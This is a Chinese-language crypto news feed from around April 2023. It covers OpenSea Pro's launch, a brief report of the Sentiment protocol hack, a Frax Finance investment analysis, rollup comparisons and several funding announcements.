    撰文：Cookie，律动 BlockBeats 不久前的 3 月 29 日，Gem 宣布新通过了 50000 份 Gem V2 测试申请。一两天前，还有人在 Gem 的 Discord 服务器询问 Gem V2 测试资格的相关问题。 而今天，转变发生得是如此突然... 现在，NFT 交易聚合器曾经的王者 Genie 与 Gem 都不再是曾经的「容颜」，Genie 变成了 Uniswap NFT，而 Gem 则变成了 OpenSea Pro。 与此同时，Gem 也发布了 Gemesis NFT 系列以感谢 Gem 用户一路以来的支持，所有在 2023 年 3 月 31 日前使用过 Gem 购买 NFT 的用户都可以 Free Mint 1 个 Gemesis NFT（领取链接）。根据 OpenSea 的官方说明，使用 Gem 的时间越早，所得到的 Gemesis NFT 的「等级」将越高。此外，OpenSea 在官方说明中还提到了正在规划以 NFT 作为奖励的「社区奖励」，Gemesis NFT 不与「社区奖励」相关。 OpenSea Pro（Gem V2）有哪些亮点？笔者将此前一段时间使用 OpenSea Pro（Gem V2）的体验为您总结。 OpenSea 在官方的介绍视频中宣称 OpenSea Pro 有着最快的 NFT 系列实时数据更新。虽然没有列出具体的数据对比，但笔者在 Nakamigos 的公售结束后捡漏时使用了 OpenSea Pro，当时的体验比 Blur 更好（上架被列出得更快，图也加载得更快）。在撰文时笔者同样选择 Nakamigos 再次进行了对比，这次两者的实时数据流推送效率不相上下。 相比于 Blur，OpenSea Pro 还提供了 Mint 监测功能。通过这个功能，我们可以实时观测以太坊网络上新 NFT 项目的 Mint 趋势，对挖掘短线热门项目非常有帮助。OpenSea Pro 以外，Magically.gg 也有提供 Mint 监测功能。 Mint 监测功能更完善的用户体验 与 Blur 相比，OpenSea Pro 不仅专注于提升「交易层面的用户体验」，还保留了 OpenSea 上用户所需的一些基础功能，不「偏科」，玩的就是「全科」。除了「优化移动端体验」外，OpenSea Pro 还在以下方面下了功夫： Blur 还是太慢了。OpenSea Pro 与 Magically.gg 都支持 ERC-1155 NFT 系列，而 OpenSea Pro 在 ERC-1155 NFT 系列界面上设计得又远胜于 Magically.gg。 Nyan Balloon 有多种不同颜色的气球。在 OpenSea Pro 上，用户可以快速选定自己想要的气球颜色，并且给定购买数量，一目了然 Magically.gg 虽然也支持 ERC-1155 NFT 的「扫货」，但是非常不贴合玩家在购买 ERC-1155 NFT 时的需求Instant Sell 这个功能自动聚合了各 NFT 市场的最佳 Offer 使用户能够以最快的速度售出自己的 NFT。根据 OpenSea 官方的说法，OpenSea Pro 聚合了超过 170 个 NFT 市场，对于急需对自己的图片进行脱手的用户来说，Instant Sell 是一个相当不错的功能。 Instant Sell批量转移 Blur 与 Magically.gg 都没有给用户提供「转移 NFT」的功能，而 OpenSea Pro 则保留了 OpenSea 上的批量转移功能。在满足 Pro Traders「交易需求」的同时，也没有忘记所有 NFT 玩家都需要的基础功能。 批量转移Gas 优化 笔者在相同的 Gas 设置下在 Blur 与 OpenSea Pro 上分别尝试购买 2 个 Gemesis，Gas 的差距还是比较明显的。 OpenSea Pro 之前在 Gem V2 的页面上就已经有了「正在跟踪您在 Gem 上的活动以计分」的提示，现在 OpenSea Pro 的页面上该提示仍然存在。 关于计分的规则，Gem 团队一直守口如瓶，只在 Discord 透露过「买卖 NFT 不是唯一被计分的活动」。连 Gem V1 的活动是否会被计分，笔者也没有搜寻到明确的答案，只有「暂时没有相关信息」的回复。 「买卖 NFT 不是唯一被计分的活动」 至于这个奖励会是什么？NFT？还是 $GEM？这些都尚未可知，需要等待 OpenSea 官方的公告。 Gem 变身 OpenSea Pro，OpenSea 这回算是开始了对 Blur 的「正面反击」。Blur 刚刚遭遇了「双倍积分延长」的风波，面对 OpenSea Pro 的来势汹汹，应该会加快自己的步伐了。 OpenSea Pro 补足了 OpenSea 在「交易体验」上的短板，一定程度上反映出当前 NFT 市场之间「技术壁垒」并不高，也更明确了「交易体验」是现阶段各 NFT 交易市场需要下功夫去「卷」的重点。之前笔者一直在思考，OpenSea 手握 Gem 这张牌，但这两个产品需要怎样去融合？如今，OpenSea 给出了答案——Collectors 与 Traders 都是 NFT 市场中的重要群体，针对有着不同需求的群体，去提供不同形态的产品。OpenSea Pro 在现阶段将保持「0 手续费」以满足 Traders 高频交易的需求，而 OpenSea 则将恢复 2.5% 的手续费，并将专注于提升项目发现、帮助创作者更好地入驻与发行项目以及扩展更为大众接受的支付方式三方面的改进。 高手过招不仅好看，而且会促使高手们越来越强。NFT 市场的龙争虎斗中，我们收获了更好的使用体验，赚了，过瘾。  ( 3 min )
    DeFi借贷协议Sentiment被盗100万美元，官方团队正在调查
    PANews 4月5日消息，据PeckShield监测，DeFi借贷协议Sentiment今日凌晨在Arbitrum网络被盗约100万美元，根本原因在于Balancer的只读可重入性。Sentiment官方推发文称，目前正在调查Sentiment协议被盗资金。Sentiment已经采取措施找出漏洞的根本原因，并降低进一步损失的风险。同时团队正与执法部门保持联系，并一直在与第三方审计机构和安全公司合作。此外，其首要任务是是确保剩余资金的安全，追回被盗资金。  ( 1 min )
    知名投资人Kevin O'Leary：加密交易所不应起诉监管机构
    PANews 4月5日消息，据CoinDesk报道，知名投资人Kevin O'Leary周二接受采访时表示，加密交易所不应该对监管机构采取法律行动，起诉监管机构是愚蠢的。他指出，在Coinbase的案例中，与监管机构“坐下来解决问题更好”，如果“美国监管机构不希望交易所提供质押或贷款，那就这样吧。”O'Leary表示，Coinbase对监管机构的反击最终可能对他们不利。  ( 1 min )
    MetaMask最新版本插件钱包将支持NFT视图
    PANews 4月5日消息，MetaMask推特宣布在最新版本 v10.28插件钱包支持NFT视图。用户只要启用NFT自动检测功能，将会展示所有ERC-721 和 1155代币。MetaMask现已支持发送 ERC-721代币，并将很快支持发送 ERC-1155代币。  ( 1 min )
    解读LSD“后来者”Frax Finance：如何通过产品套件构建增长飞轮？
    原文作者：ZhouYeMen 编译：LlamaC Frax Finance 最初是一种混合算法稳定币协议，经过几年的运营，在竞争激励的稳定币赛道成功存活了下来。 在 2023 年初凭借其 Liquid Staking Derivative (LSD) 产品 frxETH 再次成为人们关注的焦点。随着 LSD 叙事的泛滥，Frax 凭借其创新的双代币系统成为亮眼的赢家之一。 frxETH 将表明Frax 如何最终成为一个稳定币协议，其目标是增加其稳定币系列（FRAX、frxETH、FPI）的货币溢价。这些稳定币将得到 Frax 的 “三位一体” DeFi 原语（如 Fraxswap 和 Fraxlend）的采用。最近，Frax 投票决定将其旗舰稳定币 100% 抵押，标志着其部分抵押时代的结束。 FRAX 的支持主要由其 AMO 组成，这些 AMO 使其闲置的 USDC 抵押品发挥作用。目前，运营的最大 AMO 是 Curve AMO，它拥有数亿美元的 TVL。虽然 FXS 支持的抵押率由市场决定，但 Frax 的 AMO 会调整 FRAX 的供应以维持价格稳定。这类似于中央银行为其经济进行的公开货币操作。 AMO：有几个 AMO 负责不同的操作。Liquidity 和 Curve AMO 将闲置的 USDC 抵押品和铸币 FRAX 部署到不同的 DEX 中，以创造流动性并锚定挂钩。因此，Frax 赚取从 LP 头寸产生的交易收入以及发放到池中的奖励。目前，Frax 在 Curve 上拥有 99.9% 的 Frax-3CRV 矿池和 58.5% 的 Frax Base Pool (FRAXBP)。这是 DEX 上最大的两个稳定币矿池，这使得 Frax 拥有强大的协议拥有流动性（POL）储备和持续的收入来源。有了这个模型，FRAX 没有与 USDC 脱钩，即使在 UST 崩盘期间也是如此。 Convex AMO 和农业飞轮：Frax 的投资者 AMO 拥有 355 万个 CVX 代币，约占所有锁定 CVX 代币的 6.5%。这使得 FRAX 能够将 CRV 激励措施引导至 Frax 选定的资金池，并加深 FRAX 和任何以 FRAX 计价的交易对的流动性。由于 Frax 拥有 Frax-3CRV 和 FRAXBP 矿池的大部分，他们获得了发出的 CRV 和 CVX 奖励。Frax 还贿赂 vlCVX 持有者，因为每 1 美元的投票奖励会带来 1.11 美元（截至 2023 年 12 月 2 日）的排放量。由于其 POL 和 AMO，这是只有 Frax 才能实现的飞轮。 Frax 的净收益高度依赖于 CRV、CVX 和 FXS 的价格。在 2021 年 1 月这 3 个代币的价格达到了其峰值期。最近几个月，净收益一直处于收支平衡状态，但对协议来说仍然是净利好，因为它们基本上是在免费贿赂矿池（免费流动性）。因此，这个农业飞轮允许 Frax 持续贿赂并返还奖励。 Frax 基础池 (FRAXBP)：Frax 能够保护 Curve 元池，它由FRAX-USDC组成，可用于与其他资产配对，类似于 3CRV（USDT / USDC / DAI）。Frax 通过使用 Frax 的 CVX/CRV 持有的贿赂来激励协议与他们合作，以根据其与 FRAXBP 总 TVL 的比例大小来增加对矿池的激励。随着使用 FRAXBP 创建更多交易对，这增加了对 FRAX 的用例和需求。因此，FRAXBP 帮助 Frax 建立护城河，并将自己确立为 Curve 上的中央流动性中心。 Frax 使用双代币模型 frxETH 和 sfrxETH 来提供独特的 LSD 产品。frxETH 充当与 ETH 挂钩的稳定币，不赚取任何收益，而 sfrxETH 从质押中获得所有收益。 卓越的代币模型：与其他 LSD 协议相比，Frax 采用的双代币模型可确保 sfrxETH 获得更高的质押收益。这是因为 frxETH 持有者放弃了他们的抵押收益，而不是部署到 Curve 流动性池中以获得奖励。Curve LP 在过去 3 个月的年利率为 7-10%，而 sfrxETH 的年利率为 6-8%。根据当前的 frxETH 供应量，1 sfrxETH 可获得相当于 1.974 ETH 的质押 APR，这就是将 ETH 与 FraETH质押可提供更高收益的原因。在短短四个月内，该系统帮助 Frax 跻身 LSD 排行榜前列，并保持着每 30 天 15-22%的增长率。Frax 之所以能够可持续地执行这一战略，是因为其持有的 Curve 和 Convex 资产用于将激励直接指向 frxETH-ETH 池。最后，运营 LSD 的 Frax 费用为 10%，8% 给 veFXS 持有者，2% 给保险基金。 frxETH 铸币厂：frxETH 保留一定比例的ETH 兑换成 frxETH（Frax 持有 frxETH 总量的 17.617%）。这些资金被添加到 Curve 流动性池中以增加流动性深度。此外，Frax 从它贿赂和播种流动性的池中获得奖励。它是类似于曲线和流动性 AMO 的飞轮。 Frax 每月使用 54.95 万美元来激励 Curve 流动资金池，同时发放 75 万美元的奖励，其中包括 38.23 万美元的 FXS。虽然 Rocketpool 的原生代币发行效率稍高，但这是由于 Aura 的引导阶段。Frax 将很快开始使用Aura 贿赂，减少 FXS 排放，因为目前对 Aura 的贿赂会产生更高的回报。因此，随着 Balancer 上流动性的增加（减少 FXS 的抛售压力），Frax 可以减少对 Votium 的贿赂。 Frax 的治理代币 FXS 使用 Curve 的 ve 代币锁定模型，称为 veFXS。目前，41.22%的供应量被锁定。与 Curve 一样，FXS 仪表也可以被贿赂。然而，目前的贿赂数额可以忽略不计。veFXS 持有者有权获得 100% 的 AMO 收入和 frxETH 收入（此时未分配）。veFXS 持有人的当前收益率为 1.83% APR。一旦 Frax 开始分配 frxETH 费用，这应该会急剧增加 veFXS 的 APR。 对其他产品的吸引力低：与直接竞争对手（Aave 和 Curve）相比，Fraxswap 和 Fraxlend 的 TVL 可以忽略不计。然而，这是可以理解的，因为这些产品主要是为了满足 Frax 作为稳定币协议的特定需求而构建的。目前，sfrxETH 可以作为抵押品借入 FRAX 并建立质押收益率杠杆。这使得 Frax 可以获得贷款费用收入，不像 Lido 将其外包给 AAVE。随着 Frax 的持续增长，Fraxswap 和 Fraxlend 将成为关键的基础设施。这些产品将提供给更多面向公众的用户，与 Curve 和 Uniswap 相比，FRAX 在 Fraxswap 上的流动性可能更深。   潜在催化剂 Ethereum Shanghai 升级将导致更多的 ETH 被 Frax 抵押，并导致协议的费用收入更高。 Lido 的 ETH 质押优势威胁到以太坊的安全生态系统，并导致用户涌向其他 LSD 协议。 Frax 的核心任务是构建稳定币，并将很快推出 frxBTC。 Frax 计划用 frxETH 取代 WETH 作为 LP 的主要 ETH 配对。 当 Frax 开始向 veFXS 持有者分配 8% 的 sfrxETH 费用时，它将显着提高收益率。 上表是目前排名前 4 的 LSD 协议的市盈率。Frax 由于其高 FDV 而表现最差。但是，应该注意的是，Frax 不仅提供 LSD 服务，而且还拥有其他产品，稳定币发行量为 $1.51B。Frax 是唯一一个与原生代币具有收益分享模型的协议，其中 veFXS 持有者有权获得 8% 的抵押收益。随着 frxETH 在短短 4 个月内获得 1.62% 的市场份额的惊人增长来看，很明显，只要 frxETH 的收益率高于其竞争对手，它就会继续增长。 让我们看一下未来 2 年 LSD 协议的预测。 突出显示的 frxETH 市盈率是 frxETH 可能实现的保守估计。在 2023 年底和 4% 的市场份额下，Frax 的 P/S 比率是当前 P/S 比率的 1/4，该值更接近其竞争对手。RocketPool 由于其高市场份额和费用而拥有最好的 P/S，但随着分布式验证器技术 (DVT) 的加入，去中心化质押的 Rocketpool 模型似乎可能会过时。考虑到潜在的催化剂，我相信随着越来越多的产品使用 frxETH 构建，Frax 甚至可能会超过 2024 年和 2025 年的保守估计。 LSD 协议在 1 月份受到了相当多的关注，但由于 AI 和 ZK 的叙述迅速流行，叙述被缩短了。由于我们所处的 PvP 市场环境，LSD 协议被丢弃用于下一个在 Crypto Twitter 上流传的叙述。LDO、FXS 和 RPL 在此期间表现不佳。因此，这可能是在 LSD 叙事全面展开之前积累 FXS 的好机会。 随着上海升级的临近，所有的目光都将集中在 ETH 及其所有 LSD 协议上，作为该活动的直接测试版。目前，由于质押的 ETH 存在锁定和挂钩偏差，许多用户并未质押 ETH。只有 15% 的 ETH 被质押，而其他 L1 的质押量超过 30%。由于 Lido 占据了约 30% 的抵押 ETH 供应量，这将构成许多以太坊观察者标记的潜在风险。因此，虽然 frxETH 是收益最高的 LSD，但对于许多在上海升级之后转储的人来说，它可能是一个有吸引力的选择。frxETH-ETH LP 将能够在升级后立即处理任何流出，并且应该随着未来的流入而扩展（frxETH Minter）。这反过来又会通过质押和 LPing 为 Frax 产生更多费用。 Frax 是 ETH 和 BTC 的主要稳定币发行人，这是它为什么会跑赢 ETH 的最大看涨因素。为了取代 WETH，Frax 必须与 frxETH 创建交易对，并激励协议与 frxETH 配对。Frax 拥有资产 (CVX) 和强大的 Frax 稳定币储备，他们可以依靠它们。使用 FRAXBP 作为约 7 亿美元的 TVL 或 Frax 流动性 AMO 可以根据协议抵押率铸造 Frax 以创建飞轮，如下所示： 一旦 frxETH 与代币配对，上述飞轮就会发挥作用，从而对 Frax 生态系统产生净积极影响。 最重要的是，Frax 将其他 LSD 协议视为合作者，并宣布了 Curve 上其他 LSD 的 WETHR 计划。对于 frxBTC，没有任何信息，但对 Frax 的可能影响是对 FRAX 或 FRAXBP 的需求增加以及可能将其集成到 Frax 的飞轮中。 更换 WETH 和 WBTC 是一项极其艰巨的工作，但 Frax 团队始终如一，从他们的全套产品中可以看出。押注 FXS 相当于押注整个 DeFi 生态系统（FRAX、frxETH、Fraxswap、Fraxlend、Fraxferry (Bridge)、FPI）。所有这些产品和原语都是 Frax 生态系统的一部分，将有助于将其立足点扩展到其他网络。 总而言之，FXS 能够跑赢 ETH 的主要因素是来自上海升级的关注和更广泛的 LSD 叙述。随着 frxETH 积累更多的市场份额，Frax 将拥有健康的收入来源，巩固 FXS 作为创收代币的地位。 免责声明：这是一篇客座文章，不代表 Flywheel DeFi 的观点或意见，不是财务或税务建议。本文纯属教育性质，并非投资建议或买卖任何资产或做出任何财务决定的诱导。这篇文章不是税务建议。与您的会计师交谈。做你自己的研究。  ( 6 min )
    Celo基金会与谷歌云合作支持Web3初创公司
    PANews 4月5日消息，Celo基金会已与谷歌云合作，以支持 Celo区块链生态系统项目，并推动谷歌云服务的早期采用。根据公告，谷歌云团队将为Celo基金会的 Founders in Residence 计划提供指导，并参与虚拟 Celo Camp 加速器计划，该计划支持可持续发展的Web3初创公司。此外，两个组织将共同举办以 Web3可持续性和创新为重点的研讨会和活动。  ( 1 min )
    从技术与生态视角出发，简要分析Op Rollup与Zk Rollup未来竞争格局
    在 Optimistic Rollup 起势之后，Zk Rollup 正在迎来属于它的春天。 从空投猎人行为的角度来看，此前 Layer 2空投的丰厚回报正在吸引该群体广泛地进入 Zk Rollup 生态，并参与生态协议。 而从叙事热点的角度来看，Optimism Rollup 空投的发布意味着短期内其叙事的熄火，市场将会关注更新的热点——也就是在此契机下推出的Zk系新产品。 不论如何，整体加密市场对于 ZKP 技术和 Layer2 趋势是乐观的。 而采用 ZKP 技术的 Rollup 相较 Optimism Rollup 的优势在于： 不过，由于 EVM 不支持 ZK 电路，Zk Rollup 的大规模采用看起来是艰难的。因此，为了降低 Zk Rollup 的开发者准入门槛，zkEVM 成为了 Zk Rollup 赛道的显学。zkEVM 的内在逻辑是，Zk Rollup 解决方案为开发者提供一个具备EVM等效性的部署环境，然后将代码转换到兼容 ZK 电路的虚拟机环境，以实现 ZKP 技术所支持的有效性证明。 然而，市场在迎来 ZK 浪潮后，Zk Rollup 们也将迎来其新的挑战： 在将交易打包发送给 Layer1 时，本质上是一批交易者进行众筹，以此将费用降低。当交易者数量多时，平摊的费用自然不会带给 Polygon 太大的压力。 但是，当交易者数量少时，费用无法平摊，Polygon 便需要补贴。这意味着，如果 Polygon zkEVM 没有足够的用户，便需要一直补贴下来，为官方带来巨大的经济支出压力。 在大量流动性涌入后，Zksync 得到了大量的用户。在此压力之下，zkSync Era 主网出现宕机情况，暂停出块的事件持续了 4 个小时左右。 据团队的事后分析，原因是：区块队列的数据库出现故障，导致区块生产停止。 为了解决之后再次出现这类情况，Zksync 为其数据库监控代理分配了另一层身份，它可以在数据库出现问题时，帮助其继续进行工作。 其实 Polygon zkEVM 和 Zksync Era 遇到的问题本质都是相同的，它们都在面临着用户和区块排序的问题。 Encrypted mempools 或许一个比较好的 MEV 应用方向——通过 ZKP 技术来加密和解密用户交易，且规避了中心化机构的审查。Encrypted mempools 最终保证的是排序的公平执行。 与此同时，我们也不能忽略 Optimism 极强的生命力。 Optimism 推出了 OP Stack——一个区块链模块化组件，允许开发人员在其基础上构建各种高度可扩展、高度互操作的区块链。目前，Coinbase 已经推出了基于 OP Stack 构建的 Layer2。以及，Optimism 全新升级 Bedrock 的投票将于 4 月 5 日结束。 在 Bedrock 之后，Optimism 将迎来质的飞跃： Arbiturm 虽然现在身陷舆论的风波中，但造成其当下局面的本质原因还是其未在前期工作中进行明确说明。即使如此，我们也无法忽略 Arbiturm 本身生态所拥有的品牌力和影响力。 目前，Arbitrum 生态拥有超过 262 种协议，其中一些 DeFi 最具创新性的项目建立在该生态上。据 TokenTerminal 数据显示，其 30 天平均每日活跃用户为 16.4 万人。Arbitrum 在 2023 年的展望中提到，今年 Arbitrum 将围绕降低费用提升 TPS 和验证者/排序器/DAO 的去中心化来开展工作。 在市场端，Arbiturm 将重启奥德赛活动，并致力于推动 Nova 链在社交应用和游戏应用层面的采用。 总体而言，Opitimism Rollup 和 Zk Rollup 在产品架构上的竞争点在于 EVM 的等效性、速度和成本，目前来看，Opitimism Rollup 在其中占据着明显的优势。 那么，也让我们不由生出疑问，Zk Rollup 在今年的密集发声，是否将有机会挑战 Optimism Rollup 的市场份额呢？ 答案是肯定的。 不过，就像 Steven Goldfeder 所说：“虽然目前很多团队都在稳步推进 zkEVM，但其远没有到‘黄金时期’，任何推动这种叙事的团队都在损害社区。” 在 zkEVM 还未达到黄金时期时，盲目推动 Zk Rollup 的采用，是对ZK叙事的一种消耗。 我们在当下并无法通过技术的优劣来预测未来某个项目的准确发展。各个 Rollup 项目正在通过其对于加密技术和加密市场的独有理解来推动自身产品在 Layer2 竞争中的市场份额，我们在上文中也提到，由于每个项目所处位置不同，其产品策略和市场策略也将产生差异。但不论如何，可以确定的是，以太坊将会是最终赢家。  ( 3 min )

  • Open

    加密显学 Zk Rollup 未来将会与 Op Rollup 形成怎样的竞争格局？
    Chainfeeds 导读： 在 Optimistic Rollup 起势之后，Zk Rollup 正在迎来属于它的春天。Zksync Era 主网的 TVL 已超过 1 亿美元。加密货币 KOL 雨中狂睡将 Zk Rollup 和 Op Rollup 进行了对比，认为在 zkEVM 还未达到黄金时期时，盲目推动 Zk Rollup 的采用，是对 ZK 叙事的一种消耗。 文章来源： https://www.techflowpost.com/article/detail_11653.html 文章作者： 雨中狂睡 观点： 雨中狂睡：采用 ZKP 技术的 Rollup 相较 Optimism Rollup 的优势在于：1）更快的速度和更高的安全性：采用欺诈证明的 Optimism Rollup 需要信任假设，并依靠诚实节点来验证交易的可靠性；而 Zk Rollup 只需要提供有效性证明来验证交易的可靠性。2）更高的隐私性：凭借着 ZKP 技术，Zk Rollup 只需要确保链下的完整性，便可使证明者能够证明交易批次的有效性，而无需透露交易的具体细节，也无需要求验证者在接受新状态之前检查所有交易。 内容来源 雨中狂睡：总体而言，Opitimism Rollup 和 Zk Rollup 在产品架构上的竞争点在于 EVM 的等效性、速度和成本，目前来看，Opitimism Rollup 在其中占据着明显的优势。而 ZK 技术系的人员则认为，Zk Rollup 能够提供同等的安全性和更高的资本效率（无需等待挑战期），且 Opitimism Rollup 受限于欺诈证明，必须在以太坊上执行，而 Zk Rollup 则没有这个限制。在 zkEVM 还未达到黄金时期时，盲目推动 Zk Rollup 的采用，是对 ZK 叙事的一种消耗。 内容来源  ( 2 min )
    一文读懂 Eclipse：可定制的 Rollup 解决方案
    Chainfeeds 导读： Eclipse 是一个 Rollup 解决方案，提供了可定制的特性，例如执行环境和数据可用性层。通过 Eclipse 创建的 Rollups 共享一个单一的 Eclipse 结算层，该结算层促进了多样化的生态系统。加密货币 KOL 100y 详细介绍了这个可以根据自己的喜好部署 Rollup 网络的项目 Eclipse。本文由 Foresight News 编译 文章来源： https://foresightnews.pro/article/detail/29907 文章作者： 100y.eth💜 | a41 观点： 100y.eth💜 | a41：EVM 串行处理事务，而 SVM 和 MoveVM 可以并行处理事务以增强可扩展性。Eclipse 支持 EVM 和 SVM，并计划在未来支持更多虚拟机，包括 MoveVM。根据选择的虚拟机，兼容开发工具（如 EVM 的 Remix 和 Truffle，SVM 的 Solana CLI 和 Seahorse Lang）、钱包、浏览器都提供原生支持，方便用户使用。 内容来源 100y.eth💜 | a41：通过 Eclipse 创建的 Rollup 网络共享「Eclipse 结算层」作为统一的结算层。Eclipse 结算层在基于 Celestia 的主权 Rollup 上运行，仅用于验证在其上运行的 Rollup 网络的有效性并调解资金桥。 内容来源 100y.eth💜 | a41：所有用 Eclipse 创建的 Rollup 网络共享一个通用的「Eclipse 结算层」进行结算，但它们可以选择各自的数据可用性层。与 Optimism 和 Arbitrum 等仅限于使用以太坊网络的 Rollup 不同，Eclipse 允许使用不同的网络，如 Celestia、Polygon Avail、Solana 和以太坊作为数据可用性层。 内容来源  ( 18 min )
    【英文长推】Lookonchain：低杠杆和小规模助力提高多空胜率
    Chainfeeds 导读： 如何提高多空胜率？Lookonchain 追踪数据发现两个 SmartMoney 非常擅长在 GMX 上做多和做空，他们共同特点就是都没有使用高杠杆。 文章来源： https://twitter.com/lookonchain/status/1643161126191132672 文章作者： Lookonchain 观点： Lookonchain：1）SmartMoney 1：总交易数：9；赢的交易数：9；胜率：100%；损益：+654,410 美元。在 22 小时前关闭了他在 ETH 和 BTC 中的多头头寸，赚了大约 24 万美元。2）SmartMoney 2：总交易数：20；赢的交易数：19；胜率：95%，损益：+177,652 美元。目前做多 BTC ，入场价为 27,740 美元。【原文为英文】 内容来源 Lookonchain：总结：这两个 SmartMoney 没有使用高杠杆，最大杠杆是 10 倍。以低杠杆和小规模开始交易，并逐渐增加杠杆和规模。【原文为英文】 内容来源  ( 2 min )
    Dragonfly 投资版图大盘点：150 多个项目，遍布 DeFi、基础设施与 NFT
    Chainfeeds 导读： Dragonfly 是一家全球顶级投资机构，成立于 2018 年。作为头部机构，Dragonfly 的投资组合已经成为加密市场的一个风向标。截至目前，Dragonfly 已投资超过 150 个项目。ForesightNews 整理了其目前为止投资的所有项目。 文章来源： https://foresightnews.pro/article/h5Detail/29912 文章作者： Foresight News 观点： Foresight News：Dragonfly 投资组合超过 150 个，覆盖 DeFi、CeFi、L1 & L2、NFT & 元宇宙 & 游戏、基础设施、加密基金等多个赛道，遍及以太坊、Avalanche、Polygon、Aptos、Solana、Cosmos、NEAR 等公链生态，在 1inch、dYdX、Compound、Lido、MakerDAO、ConsenSys、Flashbots、RSS3、Animoca Brands、Dune Analytics、Galxe、OneKey、StarkWare、Matter Labs 等明星头部项目的融资中均能看到 Dragonfly 身影。 内容来源 Foresight News：2021 年下半年至 2022 年，随着 Web3 概念的全面扩展，Dragonfly 的投资节奏明显加快。据区块链日报数据显示，Dragonfly 在 2019 至 2021 年间总共投资近 80 个项目，并于 2021 年初步投资元宇宙、Web3 创作者经济、NFT、DAO 等领域。2022 年 Dragonfly 全年至少投资 53 个项目，除基础设施外，略有涉及 NEAR、Solana 生态，重点关注 NFT、元宇宙、链游、Web3 社交、创作者经济、DAO 等项目。2023 年至今 3 个多月，Dragonfly 已投资 10 个项目，聚焦于 DeFi、Web3 创作者经济、新公链、新型交易所、AI 等。 内容来源  ( 40 min )
    【英文长推】观点：EigenLayer 使持有 ETH 更具吸引力，在 5 年内为验证者带来额外 110 亿美元的年收入
    Chainfeeds 导读： 为了维护 Web3 应用程序的安全，需要验证者每年质押 4400 亿美元，协议每年支付 400 亿美元。使用 EigenLayer 的重质押模型解决了这个问题。Finality Capital Partners 认为重质押可以在 5 年内为 ETH 验证者带来额外的 110 亿美元的年收入。 文章来源： https://twitter.com/finalitycap/status/1643344844717449216 文章作者： Finality Capital Partners 观点： Finality Capital Partners：在 Web3 中，所有 dApp 都需要去中心化，这意味着需要构建自己的验证器集，这是昂贵的。为了匹配以太坊的安全性，具有 15 个中间件服务集成的 dApp 将需要大约 4400 亿美元的质押资本和每年 400 亿美元左右的安全费用。【原文为英文】 内容来源 Finality Capital Partners：EigenLayer 将他们的共享安全模型称为「重质押」—— 验证者重新质押 ETH 来保护新协议。Web3 应用程序所需的 4400 亿美元质押资金已经不再需要了。作为交换，协议向选择重新质押 ETH 的验证者支付奖励。由于 ETH 验证者现在只需提供较少的质押资金，因此他们对每个新协议所需求得年化收益率也会降低。重质押也为 ETH 持有者提供了一次有吸引力的机会 —— 获得更高收益率。从长远来看，持有 ETH 的主要原因可能是重新抵押它的机会。这代表了 ETH 价值累积的模式转变。【原文为英文】 内容来源  ( 2 min )
    ERC 6551 带来 NFT 与 DID 新范式
    Chainfeeds 导读： Future Primitive 团队推出了基于代币绑定账户（ERC 6551）的新技术，为每个 NFT 提供自己的账户 / 钱包地址。Futrue Primitive 和 CryptoKitties 的联合创始人 Benny Giang 对新推出的代币绑定账户（ERC 6551）进行了介绍。本文由 Biteye 编译。 文章来源： https://mp.weixin.qq.com/s/AmAtCoL9G4p0oSaWWavoiw 文章作者： Benny Giang 观点： Benny Giang：目前 NFT 只是一种静态资产，不带有交易历史、签名控制和链接的所有权。借助 ERC 6551 或代币绑定账户，我们能够在所有现有和新的 NFT 之上无缝添加新的所有权层，在链上开辟大多数项目创建者一直想添加但尚未找到简单方法的新用例：装备数字服装和物品、ERC 20 代币赚取 / 空投模型、通过参与获得的 POAPS 或徽章、将整个集合作为一个单元进行交易、NFT 作为链上身份具有在社交网络模型上分层的能力。 内容来源 Benny Giang：它的优势在于不需要对目前的 ERC 721、Wrapped 后的合约、或者是 NFT 持有者的任何行为进行重大更改。因为代币绑定账户使用的是智能合约钱包进行绑定，一旦 ERC 6551 进入主网，每个 NFT 都会自动拥有一个绑定的地址，无需任何额外的操作。 内容来源  ( 32 min )
    ZK 技术支持的 Web3 基础设施公司 Polyhedra Network 完成 1500 万美元 PreA 轮融资，Polychain Capital 领投
    ZK 技术支持的 Web3 基础设施公司 Polyhedra Network 完成 1500 万美元 PreA 轮融资，Polychain Capital 领投 据 CoinDesk 报道，提供由零知识证明支持的 Web3 基础设施公司 Polyhedra Network 完成 1500 万美元 PreA 轮融资，Polychain Capital 领投， ABCDE、Sparkle Ventures、HashKey Capital、Foresight Ventures、Kucoin Ventures、NGC Ventures 和 Arcane Group 等参投。据悉，Polyhedra Network 正在构建一套专注于区块链互操作性、可扩展性和隐私的系统，包括促进跨链资产和数据传输的 zkBridge。 内容来源  ( 27 min )
    LayerZero 以 30 亿美元估值完成 1.2 亿美元 B 轮融资，a16z 与红杉资本等参投
    LayerZero 以 30 亿美元估值完成 1.2 亿美元 B 轮融资，a16z 与红杉资本等参投 据 CoinDesk 报道，跨链互操作性协议 LayerZero 以 30 亿美元估值完成 1.2 亿美元 B 轮融资，投资方包括 a16z Crypto、Atrum Global、Bixin Ventures、BOND、佳士得拍卖行、IOBC Capital、NGC Ventures、OKX Ventures、OpenSea Ventures、Protofund、三星 Next 和红杉资本等。本轮资金将用于扩大增长计划，包括招聘和扩大公司在亚太地区的业务。 2022 年 3 月份，LayerZero 以 10 亿美元估值完成 1.35 亿美元 A+ 轮融资，由 FTX Ventures、红杉资本与 a16z 共同领投，Coinbase Ventures、PayPal Ventures、Tiger Global 和 Uniswap Labs 等参投。 内容来源  ( 29 min )
    Delphi Labs 完成 1350 万美元融资，P2P 领投
    Delphi Labs 完成 1350 万美元融资，P2P 领投 据 CoinDesk 报道，Delphi Digital 的孵化部门 Delphi Labs 宣布完成 1350 万美金融资，P2P（流动性质押协议 Lido 的创建者）领投，Jump crypto 参投。这些资金将用于建立一个加速器，旨在促进 Web3 项目团队的成长，加速器中的每个团队将获得 20 万美元的资金。该计划的主要部分将持续四到六个月，项目团队将在计划结束时被介绍给 Delphi Labs 的潜在投资者。参与者将从由工程师、经济学家、设计师、律师和企业家组成的核心团队那里获得有关产品开发、法律咨询和上市策略等各方面的实际建议。 内容来源  ( 27 min )
    Gem v2 更名为 OpenSea Pro，早期用户可以免费领取「Gemesis」NFT
